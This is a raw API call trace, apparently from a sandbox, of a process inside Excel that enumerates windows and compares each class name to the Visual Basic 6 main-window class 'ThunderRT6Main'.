	[0072.149] GetWindowThreadProcessId (in: hWnd=0x202d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0072.149] GetWindowLongA (hWnd=0x202d4, nIndex=-16) returned -2080374784
	[0072.149] GetWindowLongPtrA (hWnd=0x202d4, nIndex=-6) returned 0x7feffa40000
	[0072.149] GetWindowLongPtrA (hWnd=0x202d4, nIndex=-6) returned 0x7feffa40000
	[0072.149] GetWindow (hWnd=0x202d4, uCmd=0x2) returned 0x101e0
	[0072.149] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0072.150] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0072.150] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0072.150] GetWindowLongA (hWnd=0x101e0, nIndex=-16) returned 516882432
	[0072.150] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f510000
	[0072.150] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f510000
	[0072.150] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x1020a
	[0072.150] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0072.150] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0072.150] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0072.150] GetWindowLongA (hWnd=0x1020a, nIndex=-16) returned -1778384896
	[0072.150] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0
	[0072.150] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0
	[0072.150] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x1020c
	[0072.150] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0072.150] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0072.150] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0072.150] GetWindowLongA (hWnd=0x1020c, nIndex=-16) returned -1778384896
	[0072.150] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0
	[0072.150] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0
	[0072.150] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e
	[0072.150] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0072.150] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0072.150] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0072.150] GetWindowLongA (hWnd=0x1020e, nIndex=-16) returned -1778384896
	[0072.150] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0
	[0072.150] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0
	[0072.150] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10210
	[0072.150] GetClassNameA (in: hWnd=0x10210, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0072.150] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0072.150] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0072.150] GetWindowLongA (hWnd=0x10210, nIndex=-16) returned -1778384896
	[0072.150] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0
	[0072.150] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0
	[0072.150] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10296
	[0072.150] GetClassNameA (in: hWnd=0x10296, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0072.150] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0072.150] GetWindowThreadProcessId (in: hWnd=0x10296, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c
	[0072.151] GetWindow (hWnd=0x10296, uCmd=0x2) returned 0x30214
	[0072.151] GetClassNameA (in: hWnd=0x30214, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28
	[0072.151] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1
	[0072.151] GetWindowThreadProcessId (in: hWnd=0x30214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0072.151] GetWindowLongA (hWnd=0x30214, nIndex=-16) returned 213909504
	[0072.151] GetWindowLongPtrA (hWnd=0x30214, nIndex=-6) returned 0x7feef690000
	[0072.151] GetWindowLongPtrA (hWnd=0x30214, nIndex=-6) returned 0x7feef690000
	[0072.151] GetWindow (hWnd=0x30214, uCmd=0x2) returned 0x101de
	[0072.151] GetClassNameA (in: hWnd=0x101de, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0072.151] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0072.151] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0072.151] GetWindowLongA (hWnd=0x101de, nIndex=-16) returned -2046820352
	[0072.151] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0
	[0072.151] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0
	[0072.151] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101dc
	[0072.151] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0072.151] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0072.151] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0072.151] GetWindowLongA (hWnd=0x101dc, nIndex=-16) returned -2046820352
	[0072.151] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0
	[0072.151] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0
	[0072.151] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101da
	[0072.151] GetClassNameA (in: hWnd=0x101da, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0072.151] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0072.151] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0072.151] GetWindowLongA (hWnd=0x101da, nIndex=-16) returned -2046820352
	[0072.151] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0
	[0072.151] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0
	[0072.151] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d8
	[0072.151] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0072.151] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0072.151] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0072.151] GetWindowLongA (hWnd=0x101d8, nIndex=-16) returned -2046820352
	[0072.151] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0
	[0072.151] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0
	[0072.151] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x201b2
	[0072.151] GetClassNameA (in: hWnd=0x201b2, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0072.152] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0072.152] GetWindowThreadProcessId (in: hWnd=0x201b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0072.152] GetWindowLongA (hWnd=0x201b2, nIndex=-16) returned 114229248
	[0072.152] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f510000
	[0072.152] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f510000
	[0072.152] GetWindow (hWnd=0x201b2, uCmd=0x2) returned 0x2015c
	[0072.152] GetClassNameA (in: hWnd=0x2015c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24
	[0072.152] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1
	[0072.152] GetWindowThreadProcessId (in: hWnd=0x2015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x900
	[0072.152] GetWindow (hWnd=0x2015c, uCmd=0x2) returned 0x201aa
	[0072.152] GetClassNameA (in: hWnd=0x201aa, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20
	[0072.152] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1
	[0072.152] GetWindowThreadProcessId (in: hWnd=0x201aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0072.152] GetWindowLongA (hWnd=0x201aa, nIndex=-16) returned -2080374784
	[0072.152] GetWindowLongPtrA (hWnd=0x201aa, nIndex=-6) returned 0x13f510000
	[0072.152] GetWindowLongPtrA (hWnd=0x201aa, nIndex=-6) returned 0x13f510000
	[0072.152] GetWindow (hWnd=0x201aa, uCmd=0x2) returned 0x1019e
	[0072.152] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.152] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.152] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x830
	[0072.152] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c
	[0072.152] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="uzbekistan_") returned 11
	[0072.152] lstrcmpA (lpString1="uzbekistan_", lpString2="ThunderRT6Main") returned 1
	[0072.152] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x830
	[0072.152] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x20206
	[0072.152] GetClassNameA (in: hWnd=0x20206, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0072.152] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0072.152] GetWindowThreadProcessId (in: hWnd=0x20206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0072.152] GetWindowLongA (hWnd=0x20206, nIndex=-16) returned 1149272145
	[0072.152] GetWindow (hWnd=0x20206, uCmd=0x2) returned 0x101d4
	[0072.152] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0072.152] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0072.152] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0072.152] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 1149272145
	[0072.153] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x10198
	[0072.153] GetClassNameA (in: hWnd=0x10198, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="trendswindow") returned 12
	[0072.153] lstrcmpA (lpString1="trendswindow", lpString2="ThunderRT6Main") returned 1
	[0072.153] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x820
	[0072.153] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a
	[0072.153] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.153] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.153] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x820
	[0072.153] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194
	[0072.153] GetClassNameA (in: hWnd=0x10194, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Asin_intelligence_cls") returned 21
	[0072.153] lstrcmpA (lpString1="Asin_intelligence_cls", lpString2="ThunderRT6Main") returned -1
	[0072.153] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x810
	[0072.153] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196
	[0072.153] GetClassNameA (in: hWnd=0x10196, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.153] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.153] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x810
	[0072.153] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190
	[0072.153] GetClassNameA (in: hWnd=0x10190, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="pulseagainstwin") returned 15
	[0072.153] lstrcmpA (lpString1="pulseagainstwin", lpString2="ThunderRT6Main") returned -1
	[0072.153] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x90
	[0072.153] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192
	[0072.153] GetClassNameA (in: hWnd=0x10192, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.153] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.153] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x90
	[0072.153] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018c
	[0072.153] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Mint_wnd") returned 8
	[0072.153] lstrcmpA (lpString1="Mint_wnd", lpString2="ThunderRT6Main") returned -1
	[0072.153] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x20c
	[0072.153] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x1018e
	[0072.153] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.153] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.153] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x20c
	[0072.154] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10188
	[0072.154] GetClassNameA (in: hWnd=0x10188, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Spokewin") returned 8
	[0072.154] lstrcmpA (lpString1="Spokewin", lpString2="ThunderRT6Main") returned -1
	[0072.154] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3f4
	[0072.154] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x1018a
	[0072.154] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.154] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.154] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3f4
	[0072.154] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x10184
	[0072.154] GetClassNameA (in: hWnd=0x10184, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Colored_app") returned 11
	[0072.154] lstrcmpA (lpString1="Colored_app", lpString2="ThunderRT6Main") returned -1
	[0072.154] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x214
	[0072.154] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x10186
	[0072.154] GetClassNameA (in: hWnd=0x10186, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.154] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.154] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x214
	[0072.154] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10180
	[0072.154] GetClassNameA (in: hWnd=0x10180, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Showtimeswnd") returned 12
	[0072.154] lstrcmpA (lpString1="Showtimeswnd", lpString2="ThunderRT6Main") returned -1
	[0072.154] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x14c
	[0072.154] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x20182
	[0072.154] GetClassNameA (in: hWnd=0x20182, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.154] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.154] GetWindowThreadProcessId (in: hWnd=0x20182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x14c
	[0072.154] GetWindow (hWnd=0x20182, uCmd=0x2) returned 0x1017c
	[0072.154] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="architectural_Sweden_utils_win") returned 30
	[0072.154] lstrcmpA (lpString1="architectural_Sweden_utils_win", lpString2="ThunderRT6Main") returned -1
	[0072.154] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x678
	[0072.154] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e
	[0072.154] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.154] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.154] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x678
	[0072.155] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178
	[0072.155] GetClassNameA (in: hWnd=0x10178, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Freeze_Danish_Tropical_win") returned 26
	[0072.155] lstrcmpA (lpString1="Freeze_Danish_Tropical_win", lpString2="ThunderRT6Main") returned -1
	[0072.155] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x668
	[0072.155] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a
	[0072.155] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.155] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.155] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x668
	[0072.155] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174
	[0072.155] GetClassNameA (in: hWnd=0x10174, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="goat_chrome_wnd") returned 15
	[0072.155] lstrcmpA (lpString1="goat_chrome_wnd", lpString2="ThunderRT6Main") returned -1
	[0072.155] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b4
	[0072.155] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176
	[0072.155] GetClassNameA (in: hWnd=0x10176, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.155] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.155] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b4
	[0072.156] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10170
	[0072.156] GetClassNameA (in: hWnd=0x10170, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="arabiccls") returned 9
	[0072.156] lstrcmpA (lpString1="arabiccls", lpString2="ThunderRT6Main") returned -1
	[0072.156] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec
	[0072.156] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x10172
	[0072.156] GetClassNameA (in: hWnd=0x10172, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.156] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.156] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec
	[0072.156] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c
	[0072.156] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="workedwindow") returned 12
	[0072.156] lstrcmpA (lpString1="workedwindow", lpString2="ThunderRT6Main") returned 1
	[0072.156] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1c4
	[0072.156] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e
	[0072.156] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.156] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.156] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1c4
	[0072.156] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10166
	[0072.156] GetClassNameA (in: hWnd=0x10166, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="fibre_class") returned 11
	[0072.156] lstrcmpA (lpString1="fibre_class", lpString2="ThunderRT6Main") returned -1
	[0072.156] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c
	[0072.156] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168
	[0072.156] GetClassNameA (in: hWnd=0x10168, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.156] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.156] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c
	[0072.156] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162
	[0072.156] GetClassNameA (in: hWnd=0x10162, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ImaginationbrotherFarmers") returned 25
	[0072.156] lstrcmpA (lpString1="ImaginationbrotherFarmers", lpString2="ThunderRT6Main") returned -1
	[0072.156] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x68c
	[0072.156] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164
	[0072.158] GetClassNameA (in: hWnd=0x10164, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.159] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.159] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x68c
	[0072.159] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e
	[0072.159] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="SloveniamsgidCommanderwindow") returned 28
	[0072.159] lstrcmpA (lpString1="SloveniamsgidCommanderwindow", lpString2="ThunderRT6Main") returned -1
	[0072.159] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620
	[0072.159] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160
	[0072.159] GetClassNameA (in: hWnd=0x10160, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.159] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.159] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620
	[0072.159] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10158
	[0072.159] GetClassNameA (in: hWnd=0x10158, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="specifiedwnd") returned 12
	[0072.159] lstrcmpA (lpString1="specifiedwnd", lpString2="ThunderRT6Main") returned -1
	[0072.159] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250
	[0072.159] GetWindow (hWnd=0x10158, uCmd=0x2) returned 0x1015a
	[0072.159] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.159] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.159] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250
	[0072.159] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x90154
	[0072.159] GetClassNameA (in: hWnd=0x90154, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="habitsSciencesgates") returned 19
	[0072.159] lstrcmpA (lpString1="habitsSciencesgates", lpString2="ThunderRT6Main") returned -1
	[0072.159] GetWindowThreadProcessId (in: hWnd=0x90154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x670
	[0072.159] GetWindow (hWnd=0x90154, uCmd=0x2) returned 0x10156
	[0072.159] GetClassNameA (in: hWnd=0x10156, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.159] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.159] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x670
	[0072.159] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x50118
	[0072.159] GetClassNameA (in: hWnd=0x50118, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="rarely_Pleasure_Museum_") returned 23
	[0072.159] lstrcmpA (lpString1="rarely_Pleasure_Museum_", lpString2="ThunderRT6Main") returned -1
	[0072.159] GetWindowThreadProcessId (in: hWnd=0x50118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x64
	[0072.160] GetWindow (hWnd=0x50118, uCmd=0x2) returned 0x3010e
	[0072.160] GetClassNameA (in: hWnd=0x3010e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0072.160] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0072.160] GetWindowThreadProcessId (in: hWnd=0x3010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x64
	[0072.160] GetWindow (hWnd=0x3010e, uCmd=0x2) returned 0x20116
	[0072.160] GetClassNameA (in: hWnd=0x20116, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52
	[0072.160] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1
	[0072.160] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0072.160] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a
	[0072.160] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40
	[0072.160] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1
	[0072.160] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
